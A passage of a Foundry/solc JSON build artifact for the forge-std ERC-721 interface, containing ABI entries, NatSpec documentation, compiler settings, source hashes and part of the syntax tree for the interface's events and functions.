","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"uint256","name":"_index","type":"uint256"}],"stateMutability":"view","type":"function","name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"uint256","name":"_index","type":"uint256"}],"stateMutability":"view","type":"function","name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}]},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_tokenId","type":"uint256"}],"stateMutability":"payable","type":"function","name":"transferFrom"}],"devdoc":{"kind":"dev","methods":{"approve(address,uint256)":{"details":"The zero address indicates there is no approved address. Throws unless `msg.sender` is the current NFT owner, or an authorized operator of the current owner.","params":{"_approved":"The new approved NFT controller","_tokenId":"The NFT to approve"}},"balanceOf(address)":{"details":"NFTs assigned to the zero address are considered invalid, and this function throws for queries about the zero address.","params":{"_owner":"An address for whom to query the balance"},"returns":{"_0":"The number of NFTs owned by `_owner`, possibly zero"}},"getApproved(uint256)":{"details":"Throws if `_tokenId` is not a valid NFT.","params":{"_tokenId":"The NFT to find the approved address for"},"returns":{"_0":"The approved address for this NFT, or the zero address if there is none"}},"isApprovedForAll(address,address)":{"params":{"_operator":"The address that acts on behalf of the owner","_owner":"The address that owns the NFTs"},"returns":{"_0":"True if `_operator` is an approved operator for `_owner`, false otherwise"}},"ownerOf(uint256)":{"details":"NFTs assigned to zero address are considered invalid, and queries about them do throw.","params":{"_tokenId":"The identifier for an NFT"},"returns":{"_0":"The address of the owner of the NFT"}},"safeTransferFrom(address,address,uint256)":{"details":"This works identically to the other function with an extra data parameter, except this function just sets data to \"\".","params":{"_from":"The current owner of the NFT","_to":"The new owner","_tokenId":"The NFT to transfer"}},"safeTransferFrom(address,address,uint256,bytes)":{"details":"Throws unless `msg.sender` is the current owner, an authorized operator, or the approved address for this NFT. Throws if `_from` is not the current owner. Throws if `_to` is the zero address. Throws if `_tokenId` is not a valid NFT. When transfer is complete, this function checks if `_to` is a smart contract (code size > 0). If so, it calls `onERC721Received` on `_to` and throws if the return value is not `bytes4(keccak256(\"onERC721Received(address,address,uint256,bytes)\"))`.","params":{"_from":"The current owner of the NFT","_to":"The new owner","_tokenId":"The NFT to transfer","data":"Additional data with no specified format, sent in call to `_to`"}},"setApprovalForAll(address,bool)":{"details":"Emits the ApprovalForAll event. The contract MUST allow multiple operators per owner.","params":{"_approved":"True if the operator is approved, false to revoke approval","_operator":"Address to add to the set of authorized operators"}},"supportsInterface(bytes4)":{"details":"Interface identification is specified in ERC-165. This function uses less than 30,000 gas.","params":{"interfaceID":"The interface identifier, as specified in ERC-165"},"returns":{"_0":"`true` if the contract implements `interfaceID` and `interfaceID` is not 0xffffffff, `false` otherwise"}},"tokenByIndex(uint256)":{"details":"Throws if `_index` >= `totalSupply()`.","params":{"_index":"A counter less than `totalSupply()`"},"returns":{"_0":"The token identifier for the `_index`th NFT, (sort order not specified)"}},"tokenOfOwnerByIndex(address,uint256)":{"details":"Throws if `_index` >= `balanceOf(_owner)` or if `_owner` is the zero address, representing invalid NFTs.","params":{"_index":"A counter less than `balanceOf(_owner)`","_owner":"An address where we are interested in NFTs owned by them"},"returns":{"_0":"The token identifier for the `_index`th NFT assigned to `_owner`, (sort order not specified)"}},"totalSupply()":{"returns":{"_0":"A count of valid NFTs tracked by this contract, where each one of them has an assigned and queryable owner not equal to the zero address"}},"transferFrom(address,address,uint256)":{"details":"Throws unless `msg.sender` is the current owner, an authorized operator, or the approved address for this NFT. Throws if `_from` is not the current owner. Throws if `_to` is the zero address. Throws if `_tokenId` is not a valid NFT.","params":{"_from":"The current owner of the NFT","_to":"The new owner","_tokenId":"The NFT to transfer"}}},"version":1},"userdoc":{"kind":"user","methods":{"approve(address,uint256)":{"notice":"Change or reaffirm the approved address for an NFT"},"balanceOf(address)":{"notice":"Count all NFTs assigned to an owner"},"getApproved(uint256)":{"notice":"Get the approved address for a single NFT"},"isApprovedForAll(address,address)":{"notice":"Query if an address is an authorized operator for another address"},"ownerOf(uint256)":{"notice":"Find the owner of an NFT"},"safeTransferFrom(address,address,uint256)":{"notice":"Transfers the ownership of an NFT from one address to another address"},"safeTransferFrom(address,address,uint256,bytes)":{"notice":"Transfers the ownership of an NFT from one address to another address"},"setApprovalForAll(address,bool)":{"notice":"Enable or disable approval for a third party (\"operator\") to manage all of `msg.sender`'s assets"},"supportsInterface(bytes4)":{"notice":"Query if a contract implements an interface"},"tokenByIndex(uint256)":{"notice":"Enumerate valid NFTs"},"tokenOfOwnerByIndex(address,uint256)":{"notice":"Enumerate NFTs assigned to an owner"},"totalSupply()":{"notice":"Count NFTs tracked by this contract"},"transferFrom(address,address,uint256)":{"notice":"Transfer ownership of an NFT -- THE CALLER IS RESPONSIBLE TO CONFIRM THAT `_to` IS CAPABLE OF RECEIVING NFTS OR ELSE THEY MAY BE PERMANENTLY LOST"}},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"lib/forge-std/src/interfaces/IERC721.sol":"IERC721Enumerable"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/interfaces/IERC165.sol":{"keccak256":"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600","urls":["bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc","dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC721.sol":{"keccak256":"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15","urls":["bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f","dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"lib/forge-std/src/interfaces/IERC721.sol","id":32154,"exportedSymbols":{"IERC165":[31873],"IERC721":[32085],"IERC721Enumerable":[32153],"IERC721Metadata":[32125],"IERC721TokenReceiver":[32101]},"nodeType":"SourceUnit","src":"32:8994:18","nodes":[{"id":31971,"nodeType":"PragmaDirective","src":"32:24:18","nodes":[],"literals":["solidity",">=","0.6",".2"]},{"id":31972,"nodeType":"ImportDirective","src":"58:23:18","nodes":[],"absolutePath":"lib/forge-std/src/interfaces/IERC165.sol","file":"./IERC165.sol","nameLocation":"-1:-1:-1","scope":32154,"sourceUnit":31874,"symbolAliases":[],"unitAlias":""},{"id":32085,"nodeType":"ContractDefinition","src":"249:5535:18","nodes":[{"id":31984,"nodeType":"EventDefinition","src":"673:85:18","nodes":[],"anonymous":false,"documentation":{"id":31976,"nodeType":"StructuredDocumentation","src":"284:384:18","text":"@dev This emits when ownership of any NFT changes by any mechanism.\n This event emits when NFTs are created (`from` == 0) and destroyed\n (`to` == 0). Exception: during contract creation, any number of NFTs\n may be created and assigned without emitting Transfer. At the time of\n any transfer, the approved address for that NFT (if any) is reset to none."},"eventSelector":"ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef","name":"Transfer","nameLocation":"679:8:18","parameters":{"id":31983,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31978,"indexed":true,"mutability":"mutable","name":"_from","nameLocation":"704:5:18","nodeType":"VariableDeclaration","scope":31984,"src":"688:21:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31977,"name":"address","nodeType":"ElementaryTypeName","src":"688:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31980,"indexed":true,"mutability":"mutable","name":"_to","nameLocation":"727:3:18","nodeType":"VariableDeclaration","scope":31984,"src":"711:19:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31979,"name":"address","nodeType":"ElementaryTypeName","src":"711:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31982,"indexed":true,"mutability":"mutable","name":"_tokenId","nameLocation":"748:8:18","nodeType":"VariableDeclaration","scope":31984,"src":"732:24:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":31981,"name":"uint256","nodeType":"ElementaryTypeName","src":"732:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"687:70:18"}},{"id":31993,"nodeType":"EventDefinition","src":"1047:92:18","nodes":[],"anonymous":false,"documentation":{"id":31985,"nodeType":"StructuredDocumentation","src":"764:278:18","text":"@dev This emits when the approved address for an NFT is changed or\n reaffirmed. The zero address indicates there is no approved address.\n When a Transfer event emits, this also indicates that the approved\n address for that NFT (if any) is reset to none."},"eventSelector":"8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925","name":"Approval","nameLocation":"1053:8:18","parameters":{"id":31992,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31987,"indexed":true,"mutability":"mutable","name":"_owner","nameLocation":"1078:6:18","nodeType":"VariableDeclaration","scope":31993,"src":"1062:22:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31986,"name":"address","nodeType":"ElementaryTypeName","src":"1062:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31989,"indexed":true,"mutability":"mutable","name":"_approved","nameLocation":"1102:9:18","nodeType":"VariableDeclaration","scope":31993,"src":"1086:25:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31988,"name":"address","nodeType":"ElementaryTypeName","src":"1086:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31991,"indexed":true,"mutability":"mutable","name":"_tokenId","nameLocation":"1129:8:18","nodeType":"VariableDeclaration","scope":31993,"src":"1113:24:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":31990,"name":"uint256","nodeType":"ElementaryTypeName","src":"1113:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1061:77:18"}},{"id":32002,"nodeType":"EventDefinition","src":"1278:88:18","nodes":[],"anonymous":false,"documentation":{"id":31994,"nodeType":"StructuredDocumentation","src":"1145:128:18","text":"@dev This emits when an operator is enabled or disabled for an owner.\n The operator can manage all NFTs of the owner."},"eventSelector":"17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31","name":"ApprovalForAll","nameLocation":"1284:14:18","parameters":{"id":32001,"nodeType":"ParameterList","parameters":[{"constant":false,"id":31996,"indexed":true,"mutability":"mutable","name":"_owner","nameLocation":"1315:6:18","nodeType":"VariableDeclaration","scope":32002,"src":"1299:22:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31995,"name":"address","nodeType":"ElementaryTypeName","src":"1299:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":31998,"indexed":true,"mutability":"mutable","name":"_operator","nameLocation":"1339:9:18","nodeType":"VariableDeclaration","scope":32002,"src":"1323:25:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":31997,"name":"address","nodeType":"ElementaryTypeName","src":"1323:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32000,"indexed":false,"mutability":"mutable","name":"_approved","nameLocation":"1355:9:18","nodeType":"VariableDeclaration","scope":32002,"src":"1350:14:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":31999,"name":"bool","nodeType":"ElementaryTypeName","src":"1350:4:18","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"1298:67:18"}},{"id":32010,"nodeType":"FunctionDefinition","src":"1695:67:18","nodes":[],"documentation":{"id":32003,"nodeType":"StructuredDocumentation","src":"1372:318:18","text":"@notice Count all NFTs assigned to an owner\n @dev NFTs assigned to the zero address are considered invalid, and this\n function throws for queries about the zero address.\n @param _owner An address for whom to query the balance\n @return The number of NFTs owned by `_owner`, possibly zero"},"functionSelector":"70a08231","implemented":false,"kind":"function","modifiers":[],"name":"balanceOf","nameLocation":"1704:9:18","parameters":{"id":32006,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32005,"mutability":"mutable","name":"_owner","nameLocation":"1722:6:18","nodeType":"VariableDeclaration","scope":32010,"src":"1714:14:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32004,"name":"address","nodeType":"ElementaryTypeName","src":"1714:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1713:16:18"},"returnParameters":{"id":32009,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32008,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32010,"src":"1753:7:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32007,"name":"uint256","nodeType":"ElementaryTypeName","src":"1753:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1752:9:18"},"scope":32085,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":32018,"nodeType":"FunctionDefinition","src":"2019:67:18","nodes":[],"documentation":{"id":32011,"nodeType":"StructuredDocumentation","src":"1768:246:18","text":"@notice Find the owner of an NFT\n @dev NFTs assigned to zero address are considered invalid, and queries\n about them do throw.\n @param _tokenId The identifier for an NFT\n @return The address of the owner of the NFT"},"functionSelector":"6352211e","implemented":false,"kind":"function","modifiers":[],"name":"ownerOf","nameLocation":"2028:7:18","parameters":{"id":32014,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32013,"mutability":"mutable","name":"_tokenId","nameLocation":"2044:8:18","nodeType":"VariableDeclaration","scope":32018,"src":"2036:16:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32012,"name":"uint256","nodeType":"ElementaryTypeName","src":"2036:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"2035:18:18"},"returnParameters":{"id":32017,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32016,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32018,"src":"2077:7:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32015,"name":"address","nodeType":"ElementaryTypeName","src":"2077:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"2076:9:18"},"scope":32085,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":32030,"nodeType":"FunctionDefinition","src":"2931:110:18","nodes":[],"documentation":{"id":32019,"nodeType":"StructuredDocumentation","src":"2092:834:18","text":"@notice Transfers the ownership of an NFT from one address to another address\n @dev Throws unless `msg.sender` is the current owner, an authorized\n operator, or the approved address for this NFT. Throws if `_from` is\n not the current owner. Throws if `_to` is the zero address. Throws if\n `_tokenId` is not a valid NFT. When transfer is complete, this function\n checks if `_to` is a smart contract (code size > 0). If so, it calls\n `onERC721Received` on `_to` and throws if the return value is not\n `bytes4(keccak256(\"onERC721Received(address,address,uint256,bytes)\"))`.\n @param _from The current owner of the NFT\n @param _to The new owner\n @param _tokenId The NFT to transfer\n @param data Additional data with no specified format, sent in call to `_to`"},"functionSelector":"b88d4fde","implemented":false,"kind":"function","modifiers":[],"name":"safeTransferFrom","nameLocation":"2940:16:18","parameters":{"id":32028,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32021,"mutability":"mutable","name":"_from","nameLocation":"2965:5:18","nodeType":"VariableDeclaration","scope":32030,"src":"2957:13:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32020,"name":"address","nodeType":"ElementaryTypeName","src":"2957:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32023,"mutability":"mutable","name":"_to","nameLocation":"2980:3:18","nodeType":"VariableDeclaration","scope":32030,"src":"2972:11:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32022,"name":"address","nodeType":"ElementaryTypeName","src":"2972:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32025,"mutability":"mutable","name":"_tokenId","nameLocation":"2993:8:18","nodeType":"VariableDeclaration","scope":32030,"src":"2985:16:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32024,"name":"uint256","nodeType":"ElementaryTypeName","src":"2985:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":32027,"mutability":"mutable","name":"data","nameLocation":"3018:4:18","nodeType":"VariableDeclaration","scope":32030,"src":"3003:19:18","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_bytes_calldata_ptr","typeString":"bytes"},"typeName":{"id":32026,"name":"bytes","nodeType":"ElementaryTypeName","src":"3003:5:18","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"2956:67:18"},"returnParameters":{"id":32029,"nodeType":"ParameterList","parameters":[],"src":"3040:0:18"},"scope":32085,"stateMutability":"payable","virtual":false,"visibility":"external"},{"id":32040,"nodeType":"FunctionDefinition","src":"3399:89:18","nodes":[],"documentation":{"id":32031,"nodeType":"StructuredDocumentation","src":"3047:347:18","text":"@notice Transfers the ownership of an NFT from one address to another address\n @dev This works identically to the other function with an extra data parameter,\n except this function just sets data to \"\".\n @param _from The current owner of the NFT\n @param _to The new owner\n @param _tokenId The NFT to transfer"},"functionSelector":"42842e0e","implemented":false,"kind":"function","modifiers":[],"name":"safeTransferFrom","nameLocation":"3408:16:18","parameters":{"id":32038,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32033,"mutability":"mutable","name":"_from","nameLocation":"3433:5:18","nodeType":"VariableDeclaration","scope":32040,"src":"3425:13:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32032,"name":"address","nodeType":"ElementaryTypeName","src":"3425:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32035,"mutability":"mutable","name":"_to","nameLocation":"3448:3:18","nodeType":"VariableDeclaration","scope":32040,"src":"3440:11:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32034,"name":"address","nodeType":"ElementaryTypeName","src":"3440:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32037,"mutability":"mutable","name":"_tokenId","nameLocation":"3461:8:18","nodeType":"VariableDeclaration","scope":32040,"src":"3453:16:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32036,"name":"uint256","nodeType":"ElementaryTypeName","src":"3453:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"3424:46:18"},"returnParameters":{"id":32039,"nodeType":"ParameterList","parameters":[],"src":"3487:0:18"},"scope":32085,"stateMutability":"payable","virtual":false,"visibility":"external"},{"id":32050,"nodeType":"FunctionDefinition","src":"4069:85:18","nodes":[],"documentation":{"id":32041,"nodeType":"StructuredDocumentation","src":"3494:570:18","text":"@notice Transfer ownership of an NFT -- THE CALLER IS RESPONSIBLE\n TO CONFIRM THAT `_to` IS CAPABLE OF RECEIVING NFTS OR ELSE\n THEY MAY BE PERMANENTLY LOST\n @dev Throws unless `msg.sender` is the current owner, an authorized\n operator, or the approved address for this NFT. Throws if `_from` is\n not the current owner. Throws if `_to` is the zero address. Throws if\n `_tokenId` is not a valid NFT.\n @param _from The current owner of the NFT\n @param _to The new owner\n @param _tokenId The NFT to transfer"},"functionSelector":"23b872dd","implemented":false,"kind":"function","modifiers":[],"name":"transferFrom","nameLocation":"4078:12:18","parameters":{"id":32048,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32043,"mutability":"mutable","name":"_from","nameLocation":"4099:5:18","nodeType":"VariableDeclaration","scope":32050,"src":"4091:13:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32042,"name":"address","nodeType":"ElementaryTypeName","src":"4091:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32045,"mutability":"mutable","name":"_to","nameLocation":"4114:3:18","nodeType":"VariableDeclaration","scope":32050,"src":"4106:11:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32044,"name":"address","nodeType":"ElementaryTypeName","src":"4106:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32047,"mutability":"mutable","name":"_tokenId","nameLocation":"4127:8:18","nodeType":"VariableDeclaration","scope":32050,"src":"4119:16:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32046,"name":"uint256","nodeType":"ElementaryTypeName","src":"4119:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"4090:46:18"},"returnParameters":{"id":32049,"nodeType":"ParameterList","parameters":[],"src":"4153:0:18"},"scope":32085,"stateMutability":"payable","virtual":false,"visibility":"external"},{"id":32058,"nodeType":"FunctionDefinition","src":"4514:71:18","nodes":[],"documentation":{"id":32051,"nodeType":"StructuredDocumentation","src":"4160:349:18","text":"@notice Change or reaffirm the approved address for an NFT\n @dev The zero address indicates there is no approved address.\n Throws unless `msg.sender` is the current NFT owner, or an authorized\n operator of the current owner.\n @param _approved The new approved NFT controller\n @param _tokenId The NFT to approve"},"functionSelector":"095ea7b3","implemented":false,"kind":"function","modifiers":[],"name":"approve","nameLocation":"4523:7:18","parameters":{"id":32056,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32053,"mutability":"mutable","name":"_approved","nameLocation":"4539:9:18","nodeType":"VariableDeclaration","scope":32058,"src":"4531:17:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32052,"name":"address","nodeType":"ElementaryTypeName","src":"4531:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32055,"mutability":"mutable","name":"_tokenId","nameLocation":"4558:8:18","nodeType":"VariableDeclaration","scope":32058,"src":"4550:16:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32054,"name":"uint256","nodeType":"ElementaryTypeName","src":"4550:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"4530:37:18"},"returnParameters":{"id":32057,"nodeType":"ParameterList","parameters":[],"src":"4584:0:18"},"scope":32085,"stateMutability":"payable","virtual":false,"visibility":"external"},{"id":32066,"nodeType":"FunctionDefinition","src":"4978:71:18","nodes":[],"documentation":{"id":32059,"nodeType":"StructuredDocumentation","src":"4591:382:18","text":"@notice Enable or disable approval for a third party (\"operator\") to manage\n all of `msg.sender`'s assets\n @dev Emits the ApprovalForAll event. The contract MUST allow\n multiple operators per owner.\n @param _operator Address to add to the set of authorized operators\n @param _approved True if the operator is approved, false to revoke approval"},"functionSelector":"a22cb465","implemented":false,"kind":"function","modifiers":[],"name":"setApprovalForAll","nameLocation":"4987:17:18","parameters":{"id":32064,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32061,"mutability":"mutable","name":"_operator","nameLocation":"5013:9:18","nodeType":"VariableDeclaration","scope":32066,"src":"5005:17:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32060,"name":"address","nodeType":"ElementaryTypeName","src":"5005:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":32063,"mutability":"mutable","name":"_approved","nameLocation":"5029:9:18","nodeType":"VariableDeclaration","scope":32066,"src":"5024:14:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":32062,"name":"bool","nodeType":"ElementaryTypeName","src":"5024:4:18","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"5004:35:18"},"returnParameters":{"id":32065,"nodeType":"ParameterList","parameters":[],"src":"5048:0:18"},"scope":32085,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":32074,"nodeType":"FunctionDefinition","src":"5320:71:18","nodes":[],"documentation":{"id":32067,"nodeType":"StructuredDocumentation","src":"5055:260:18","text":"@notice Get the approved address for a single NFT\n @dev Throws if `_tokenId` is not a valid NFT.\n @param _tokenId The NFT to find the approved address for\n @return The approved address for this NFT, or the zero address if there is none"},"functionSelector":"081812fc","implemented":false,"kind":"function","modifiers":[],"name":"getApproved","nameLocation":"5329:11:18","parameters":{"id":32070,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32069,"mutability":"mutable","name":"_tokenId","nameLocation":"5349:8:18","nodeType":"VariableDeclaration","scope":32074,"src":"5341:16:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":32068,"name":"uint256","nodeType":"ElementaryTypeName","src":"5341:7:18","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"5340:18:18"},"returnParameters":{"id":32073,"nodeType":"ParameterList","parameters":[{"constant":false,"id":32072,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":32074,"src":"5382:7:18","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":32071,"name":"address","nodeType":"ElementaryTypeName","src":"5382:7:18","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"5381:9:18"},"scope":32085,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":32084,"nodeType":"FunctionDefinition","src":"5692:90:18","nodes":[],"documentation":{"id":32075,"nodeType":"StructuredDocumentation","src":"5397:290:18","text":"@notice Query if an address is an authorized operator for another address\n @param _owner The address that owns the NFTs\n @param _operator The address that acts on behalf of the owner\n @return True if `_operator` is an approved operator for `_owner`, false 